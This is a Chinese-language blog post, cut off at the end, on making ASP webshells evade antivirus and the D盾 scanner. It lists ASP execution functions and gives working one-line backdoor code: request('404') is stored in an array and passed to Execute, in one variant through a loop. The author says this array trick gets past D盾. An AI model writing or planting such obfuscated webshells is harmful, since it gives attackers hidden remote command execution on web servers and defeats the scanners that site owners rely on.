shell 免杀aspx_对于asp免杀webshell的一些总结

0x00 前言

现在asp不多但是还是有，还是写一篇文章来简单的介绍下asp的免杀吧，相对于php我们的asp还是不够灵活,其中一些思路参考于LandGrey的文章

偷偷介绍下公众号：404安全

0x01 目录

数组

函数

加密

注释符

类

字符串操作

0x02 了解asp一句话

ASP解释器还有：VBScript

ASP的注释符号 ： ' 、 REM 当然如果你使用vbscript 注释还有 和//

ASP的执行函数 : Eval 、 Execute 、ExecuteGlobal

0x03 数组

利用数组来免杀，因为我们在php免杀中使用过数组，他的效果还不错，那么我们是否可以利用到asp来，当然答案是肯定的

其中定义数组的方法有多种方式，我们才用最简单方式来看看

dim a(5)

a(0)=request("404")

eXecUTe(a(0))

%>

简单的数组定义D盾就不认识了，为什么我会想到用数组来绕过，因为我发现函数调用的时候D盾不敏感，包括asp，php等

当然你还可以这样用，加上一点循环语句

dim array(1)

dim c

array(1)=request("404")

for each a in array

c = a & ""

next

execute(c)</